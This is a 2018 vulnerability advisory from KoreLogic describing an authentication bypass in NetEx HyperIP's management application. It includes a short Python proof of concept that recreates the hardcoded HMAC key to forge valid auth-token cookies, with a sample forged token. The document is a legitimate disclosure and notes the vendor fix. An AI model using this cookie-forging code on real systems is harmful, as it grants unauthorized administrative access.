NetEx HyperIP Authentication Bypass

Vulnerability Description

Authentication for the management application can be bypassed by recreating the algorithm used to create predictable valid cookies.

Technical Description

Authentication can be bypassed using the function below.

>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
...   key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
...   token = new(key,user+srcip,md5).hexdigest()
...   return token
...

The attacker first creates a cookie token.

>>> print bypass_auth('hipadmin','[redacted]')
b6b73844ce4df64f459948c5475a1096

Then the attacker can submit requests containing that value as the auth-token cookie, which will be trusted by the application.

Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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